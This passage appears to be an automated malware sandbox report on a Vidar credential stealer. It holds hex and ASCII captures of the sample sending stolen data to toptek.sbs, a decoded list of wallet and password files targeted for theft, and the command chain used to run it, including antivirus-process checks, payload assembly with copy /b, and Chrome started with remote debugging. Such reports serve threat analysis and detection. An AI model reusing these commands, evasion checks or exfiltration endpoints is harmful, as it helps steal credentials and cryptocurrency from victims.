2d 2d 2d 55 4b 58 34 37 39 48 56 41 49 35 38 59 4d 59 4d 59 55 33 37 0d 0a 43 6f 6e 74 Data Ascii: ------UKX479HVAI58YMYMYU37Content-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------UKX479HVAI58YMYMYU37Content-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------UKX479HVAI58YMYMYU37Cont
2024-12-23 05:22:06 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:22:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-23 05:22:06 UTC	1324	IN	Data Raw: 35 32 30 0d 0a 63 6d 56 74 62 33 5a 68 59 6d 78 6c 66 43 56 45 55 6b 6c 57 52 56 39 53 52 55 31 50 56 6b 46 43 54 45 55 6c 58 48 77 71 4c 6e 52 34 64 43 77 71 4c 6e 70 70 63 43 77 71 4c 6e 4a 68 63 69 77 71 4c 6d 52 68 64 43 77 71 64 32 46 73 62 47 56 30 4b 69 34 71 4c 43 70 69 61 58 52 6a 62 32 6c 75 4b 69 34 71 4c 43 70 69 64 47 4d 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 57 52 74 61 57 34 71 4c 69 6f 73 4b 6e 5a 68 62 47 6c 6b 4b 69 34 71 4c 43 70 77 59 58 4e 7a 64 32 39 79 5a 43 6f 75 4b 69 77 71 62 57 39 75 5a 58 6b 71 4c 69 6f 73 4b 6e 4a 6b 63 43 6f 75 4b 69 77 71 63 32 56 79 64 6d 56 79 4b 69 34 71 4c 43 70 6d 62 33 4a 31 62 53 6f 75 4b 69 77 71 63 32 68 76 63 43 6f 75 4b 69 77 71 62 57 Data Ascii: 520cmVtb3ZhYmxlfCVEUklWRV9SRU1PVkFCTEUlXHwqLnR4dCwqLnppcCwqLnJhciwqLmRhdCwqd2FsbGV0Ki4qLCpiaXRjb2luKi4qLCpidGMqLiosKnNlZWQqLiosKmNyeXB0byouKiwqYWRtaW4qLiosKnZhbGlkKi4qLCpwYXNzd29yZCouKiwqbW9uZXkqLiosKnJkcCouKiwqc2VydmVyKi4qLCpmb3J1bSouKiwqc2hvcCouKiwqbW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49807	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:22:10 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----LXLXT2689RQIEU3EUA1N User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 114841 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:22:10 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4c 58 4c 58 54 32 36 38 39 52 51 49 45 55 33 45 55 41 31 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 4c 58 4c 58 54 32 36 38 39 52 51 49 45 55 33 45 55 41 31 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 4c 58 4c 58 54 32 36 38 39 52 51 49 45 55 33 45 55 41 31 4e 0d 0a 43 6f 6e 74 Data Ascii: ------LXLXT2689RQIEU3EUA1NContent-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------LXLXT2689RQIEU3EUA1NContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------LXLXT2689RQIEU3EUA1NCont
2024-12-23 05:22:10 UTC	16355	OUT	Data Raw: 38 66 2f 77 43 49 71 6e 69 4d 48 79 65 7a 35 6c 59 36 6c 68 38 5a 7a 2b 30 35 58 63 30 50 42 33 69 43 61 35 75 39 4b 30 4b 39 79 62 6d 79 75 33 4d 62 64 63 6f 49 5a 51 51 54 37 45 67 66 54 36 56 54 38 62 2f 38 6a 62 64 2f 37 73 66 2f 41 4b 41 74 61 6e 68 66 77 44 71 32 69 2b 49 37 54 55 62 71 34 73 33 69 68 33 37 68 47 37 6c 75 55 4b 6a 47 56 48 71 4f 39 5a 66 6a 66 2f 6b 62 62 7a 36 52 2f 77 44 6f 43 31 79 30 58 53 6c 6a 6b 36 54 75 72 50 37 39 54 54 47 4b 72 48 4c 6d 71 71 73 2b 5a 66 64 6f 63 39 53 55 74 46 65 30 66 4e 43 55 55 74 4a 54 41 31 50 44 66 2f 49 79 36 62 2f 31 38 4a 2f 4f 75 39 73 4a 42 5a 2f 45 76 56 6f 5a 76 6c 61 2b 74 6f 70 59 43 66 34 67 69 37 53 50 72 77 66 79 72 67 76 44 6e 2f 49 79 36 62 2f 31 38 70 2f 4f 76 55 50 45 50 68 2b 50 58 Data Ascii: 8f/wCIqniMHyez5lY6lh8Zz+05Xc0PB3iCa5u9K0K9ybmyu3MbdcoIZQQT7EgfT6VT8b/8jbd/7sf/AKAtanhfwDq2i+I7TUbq4s3ih37hG7luUKjGVHqO9Zfjf/kbbz6R/wDoC1y0XSljk6TurP79TTGKrHLmqqs+Zfdoc9SUtFe0fNCUUtJTA1PDf/Iy6b/18J/Ou9sJBZ/EvVoZvla+topYCf4gi7SPrwfyrgvDn/Iy6b/18p/OvUPEPh+PX
2024-12-23 05:22:10 UTC	16355	OUT	Data Raw: 6a 52 61 63 34 79 75 33 30 73 53 49 31 7a 35 34 53 32 61 30 56 6e 55 6c 35 4c 71 42 4a 55 69 51 63 73 35 44 71 51 41 41 43 61 6f 70 34 68 2b 32 51 36 37 71 53 74 6f 2b 6c 57 38 64 78 61 51 32 73 74 35 59 4b 36 2b 55 66 4e 79 53 69 52 4e 68 32 32 67 6b 37 51 4f 32 51 41 4b 74 53 4e 64 71 73 69 32 72 32 34 57 5a 50 4c 6c 57 65 32 6a 6d 56 31 79 44 67 68 31 59 59 79 42 32 37 43 71 7a 52 36 68 6d 54 79 7a 70 69 52 79 68 4e 38 58 39 6d 32 35 6a 4a 54 4f 30 37 44 48 74 42 47 35 75 51 4d 38 31 77 59 33 44 56 36 74 52 75 47 32 6e 35 36 6e 71 5a 64 6a 4d 4e 52 70 63 74 52 36 75 2f 79 37 57 48 54 33 38 74 72 70 32 70 45 44 54 64 4f 6b 47 73 58 63 4b 32 39 39 62 69 65 52 6f 31 6a 6a 5a 55 52 31 6a 6b 41 78 75 2f 76 41 63 39 54 31 70 67 31 65 52 74 54 67 30 75 53 31 Data Ascii: jRac4yu30sSI1z54S2a0VnUl5LqBJUiQcs5DqQAACaop4h+2Q67qSto+lW8dxaQ2st5YK6+UfNySiRNh22gk7QO2QAKtSNdqsi2r24WZPLlWe2jmV1yDgh1YYyB27CqzR6hmTyzpiRyhN8X9m25jJTO07DHtBG5uQM81wY3DV6tRuG2n56nqZdjMNRpctR6u/y7WHT38trp2pEDTdOkGsXcK299bieRo1jjZUR1jkAxu/vAc9T1pg1eRtTg0uS1
2024-12-23 05:22:10 UTC	16355	OUT	Data Raw: 41 68 61 53 69 69 67 59 55 55 55 55 77 46 7a 52 6e 6d 6d 30 76 76 53 43 77 37 50 71 4b 4d 67 30 32 69 69 77 72 45 56 39 2f 77 41 67 2b 54 2f 65 57 71 75 6d 66 65 6c 2b 67 71 7a 65 6e 2f 69 58 7a 66 56 66 35 31 56 30 77 2f 50 4a 39 42 56 78 2b 42 67 61 57 4b 42 6e 30 6f 7a 52 6d 73 78 43 30 55 41 2b 31 4c 6d 67 42 4d 63 55 55 75 66 72 52 6b 55 67 43 67 55 74 46 46 77 45 37 55 75 4b 44 53 30 67 75 4a 69 69 6c 78 52 6a 33 6f 45 4a 69 6a 46 4b 4b 58 46 41 44 63 55 74 4c 69 6c 78 51 46 78 6f 48 38 71 58 46 4c 69 6a 46 4b 34 67 37 31 65 30 37 37 38 32 50 2b 65 44 2f 77 41 71 70 67 56 65 30 37 2f 57 79 63 66 38 73 58 2f 6c 57 56 62 34 47 43 65 70 77 4d 6e 76 55 52 71 56 38 5a 71 49 39 4b 39 79 47 79 4f 75 49 68 35 70 70 36 55 76 57 6b 4e 57 57 68 70 70 70 39 66 Data Ascii: AhaSiigYUUUUwFzRnmm0vvSCw7PqKMg02iiwrEV9/wAg+T/eWqumfel+gqzen/iXzfVf51V0w/PJ9BVx+BgaWKBn0ozRmsxC0UA+1LmgBMcUUufrRkUgCgUtFFwE7UuKDS0guJiilxRj3oEJijFKKXFADcUtLilxQFxoH8qXFLijFK4g71e07782P+eD/wAqpgVe07/Wycf8sX/lWVb4GCepwMnvURqV8ZqI9K9yGyOuIh5pp6UvWkNWWhppp9f
2024-12-23 05:22:10 UTC	16355	OUT	Data Raw: 4b 59 42 52 52 52 51 4d 4f 34 72 64 76 4f 4c 6e 2f 41 49 43 76 38 68 57 45 4f 6f 72 66 76 52 69 35 2f 77 43 41 72 2f 49 56 7a 31 66 6a 51 31 38 53 4b 31 46 4c 53 55 7a 51 44 52 52 52 51 4d 53 6c 6f 78 52 51 41 55 68 70 61 42 37 30 41 4e 35 6f 70 61 4b 41 45 78 7a 52 69 6e 55 6c 41 78 4d 55 47 6c 6f 78 51 42 48 50 2f 77 41 65 6c 78 2f 31 7a 50 38 41 4d 56 6e 36 5a 2f 78 38 50 2f 75 56 6f 33 48 2f 41 42 35 33 48 2f 58 50 2b 6f 72 4f 30 7a 2f 6a 34 66 38 41 33 4b 49 37 4d 44 54 6f 37 30 74 4b 42 69 67 42 74 48 74 54 71 54 46 41 43 55 59 70 77 46 42 6f 43 34 30 30 6f 46 46 4c 52 63 4c 69 55 55 74 41 46 41 44 63 63 55 74 4c 6a 69 6a 46 46 77 75 4a 69 6c 78 78 53 34 70 63 55 72 69 47 34 6f 70 32 4b 41 4b 4c 68 63 62 69 6c 70 32 4d 64 71 4d 55 72 68 63 51 43 72 Data Ascii: KYBRRRQMO4rdvOLn/AICv8hWEOorfvRi5/wCAr/IVz1fjQ18SK1FLSUzQDRRRQMSloxRQAUhpaB70AN5opaKAExzRinUlAxMUGloxQBHP/wAelx/1zP8AMVn6Z/x8P/uVo3H/AB53H/XP+orO0z/j4f8A3KI7MDTo70tKBigBtHtTqTFACUYpwFBoC400oFFLRcLiUUtAFADccUtLjijFFwuJilxxS4pcUriG4op2KAKLhcbilp2MdqMUrhcQCr
2024-12-23 05:22:10 UTC	16355	OUT	Data Raw: 7a 53 2f 77 42 74 36 74 2f 30 45 37 33 2f 41 4c 2f 74 2f 6a 57 42 48 71 39 6e 63 61 51 4c 79 45 7a 78 7a 75 6e 32 6c 4c 61 51 68 69 4c 62 66 35 52 59 6b 4b 4d 6e 66 37 44 67 55 73 2b 70 57 38 46 6d 4c 34 79 4f 31 76 4b 42 44 44 47 48 55 53 47 34 48 33 31 50 48 43 67 66 4e 6e 48 52 6c 48 58 4e 59 2b 31 77 54 56 2b 52 62 32 32 57 35 31 76 44 35 6f 70 57 64 52 37 58 2b 4a 37 66 31 72 36 47 37 2f 62 57 71 2f 38 41 51 54 76 66 2f 41 68 2f 38 61 62 4a 71 32 70 53 78 74 48 4a 71 4e 34 36 4f 43 72 4b 30 37 45 45 48 71 43 4d 31 6e 4e 71 65 6b 71 4e 4e 57 61 4c 55 4c 61 54 55 4c 73 51 78 62 37 68 48 41 6a 7a 74 61 56 76 33 51 77 4e 78 41 48 72 68 75 6d 4f 61 6b 57 6f 4b 30 64 75 6b 38 68 74 35 70 5a 62 6a 65 53 41 52 48 46 41 68 61 56 73 64 7a 6e 67 44 49 79 56 49 Data Ascii: zS/wBt6t/0E73/AL/t/jWBHq9ncaQLyEzxzun2lLaQhiLbf5RYkKMnf7DgUs+pW8FmL4yO1vKBDDGHUSG4H31PHCgfNnHRlHXNY+1wTV+Rb22W51vD5opWdR7X+J7f1r6G7/bWq/8AQTvf/Ah/8abJq2pSxtHJqN46OCrK07EEHqCM1nNqekqNNWaLULaTULsQxb7hHAjztaVv3QwNxAHrhumOakWoK0duk8ht5pZbjeSARHFAhaVsdzngDIyVI
2024-12-23 05:22:10 UTC	16355	OUT	Data Raw: 71 2b 39 31 30 2f 49 37 66 53 39 5a 30 50 77 7a 5a 61 64 34 61 61 35 74 37 75 48 55 46 63 36 6c 63 78 54 42 6b 6a 5a 78 74 41 44 41 34 41 48 51 2b 67 47 65 39 65 63 61 78 59 78 36 62 71 31 78 61 51 58 55 4e 31 43 6a 66 75 35 34 58 44 71 36 39 6a 6b 63 5a 78 31 48 72 58 6f 76 2f 43 6d 2f 77 44 71 50 66 38 41 6b 6e 2f 39 6e 51 76 77 63 47 34 62 74 64 4a 58 50 49 46 70 67 2f 38 41 6f 64 66 4b 4f 4d 6e 30 50 72 71 6d 48 78 46 53 4b 6a 79 62 62 61 6f 33 4e 52 30 64 35 76 47 36 58 6f 38 48 66 61 56 45 38 4c 66 32 70 2f 61 65 7a 47 41 76 7a 2b 56 6e 2b 48 48 54 76 74 39 36 66 34 52 73 62 71 32 31 57 56 35 2f 42 33 39 6a 4b 59 43 42 63 66 32 6d 4c 6a 63 64 79 2f 4a 74 48 54 50 58 50 74 37 31 32 64 46 61 32 52 36 6e 73 49 63 33 4e 62 58 30 58 2b 52 34 51 6e 2b 72 Data Ascii: q+910/I7fS9Z0PwzZad4aa5t7uHUFc6lcxTBkjZxtADA4AHQ+gGe9ecaxYx6bq1xaQXUN1Cjfu54XDq69jkcZx1HrXov/Cm/wDqPf8Akn/9nQvwcG4btdJXPIFpg/8AodfKOMn0PrqmHxFSKjybbao3NR0d5vG6Xo8HfaVE8Lf2p/aezGAvz+Vn+HHTvt96f4Rsbq21WV5/B39jKYCBcf2mLjcdy/JtHTPXPt712dFa2R6nsIc3NbX0X+R4Qn+r
2024-12-23 05:22:10 UTC	356	OUT	Data Raw: 63 36 66 33 57 4f 63 6c 65 54 77 65 4f 61 54 2f 41 49 53 62 58 76 37 4e 2f 73 33 2b 32 39 53 2b 77 62 50 4c 2b 79 2f 61 35 50 4b 32 66 33 64 6d 63 59 39 73 55 57 48 63 37 50 34 67 57 55 64 70 34 4f 38 50 77 57 6a 32 62 32 4e 70 63 33 4e 76 43 38 46 33 44 4b 5a 52 69 4d 6c 7a 73 59 38 73 51 78 50 39 33 4b 67 34 34 7a 35 76 55 72 58 4d 37 32 38 64 75 38 30 6a 51 52 4d 7a 52 78 6c 69 56 51 6e 47 53 42 30 42 4f 42 6e 36 43 6f 71 61 56 68 45 6b 45 38 31 72 63 52 33 46 76 4b 38 4d 30 54 68 34 35 49 32 4b 73 6a 41 35 42 42 48 49 49 50 65 75 6c 73 66 48 6d 71 35 65 44 58 35 5a 2f 45 47 6e 53 41 62 37 50 55 4c 6c 33 41 59 66 64 5a 47 4a 4a 52 67 65 34 36 67 6b 48 72 58 4c 55 55 57 41 36 44 55 50 47 2f 69 58 55 66 50 6a 6b 31 71 39 69 74 5a 6c 4d 5a 73 37 65 64 34 Data Ascii: c6f3WOcleTweOaT/AISbXv7N/s3+29S+wbPL+y/a5PK2f3dmcY9sUWHc7P4gWUdp4O8PwWj2b2Npc3NvC8F3DKZRiMlzsY8sQxP93Kg44z5vUrXM728du80jQRMzRxliVQnGSB0BOBn6CoqaVhEkE81rcR3FvK8M0Th45I2KsjA5BBHIIPeulsfHmq5eDX5Z/EGnSAb7PULl3AYfdZGJJRge46gkHrXLUUWA6DUPG/iXUfPjk1q9itZlMZs7ed4
2024-12-23 05:22:12 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:22:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-23 05:22:12 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49813	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:22:14 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----VKFKNOH47GV37Y5F3OPH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:22:14 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 56 4b 46 4b 4e 4f 48 34 37 47 56 33 37 59 35 46 33 4f 50 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 56 4b 46 4b 4e 4f 48 34 37 47 56 33 37 59 35 46 33 4f 50 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 56 4b 46 4b 4e 4f 48 34 37 47 56 33 37 59 35 46 33 4f 50 48 0d 0a 43 6f 6e 74 Data Ascii: ------VKFKNOH47GV37Y5F3OPHContent-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------VKFKNOH47GV37Y5F3OPHContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------VKFKNOH47GV37Y5F3OPHCont
2024-12-23 05:22:15 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:22:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-23 05:22:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49819	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:22:16 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----NYCBIEUAAI5F37GVKNOZ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:22:16 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4e 59 43 42 49 45 55 41 41 49 35 46 33 37 47 56 4b 4e 4f 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 4e 59 43 42 49 45 55 41 41 49 35 46 33 37 47 56 4b 4e 4f 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 4e 59 43 42 49 45 55 41 41 49 35 46 33 37 47 56 4b 4e 4f 5a 0d 0a 43 6f 6e 74 Data Ascii: ------NYCBIEUAAI5F37GVKNOZContent-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------NYCBIEUAAI5F37GVKNOZContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------NYCBIEUAAI5F37GVKNOZCont
2024-12-23 05:22:17 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:22:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-23 05:22:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	00:20:55
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\9EI7wrGs4K.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\9EI7wrGs4K.exe"
Imagebase:	0x400000
File size:	863'093 bytes
MD5 hash:	8EB4F92605E35C57A42B0917C221D65C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:20:56
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move App App.cmd & App.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:20:56
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:20:58
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xdb0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:20:58
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0x30000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:20:59
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xdb0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:20:59
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0x30000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:20:59
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 245347
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:20:59
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "profiles" Organizing
Imagebase:	0x30000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:21:00
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Judy + ..\Sheets + ..\Another + ..\Wanting b
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	00:21:00
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
Wow64 process (32bit):	true
Commandline:	Dry.com b
Imagebase:	0xae0000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000003.1842774905.0000000003C91000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000003.1842371095.0000000003C91000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000003.1842833283.000000000165D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000002.2458694756.000000000157D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.2458694756.000000000157D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000002.2459089556.0000000001638000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000002.2461862261.0000000003F91000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000003.1842430157.00000000015C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000003.1842551934.0000000003F9E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000003.1842719771.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:21:00
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x6d0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:21:32
Start date:	23/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:21:33
Start date:	23/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2664 --field-trial-handle=2436,i,2326185924159091694,5961255311856640227,262144 /prefetch:8
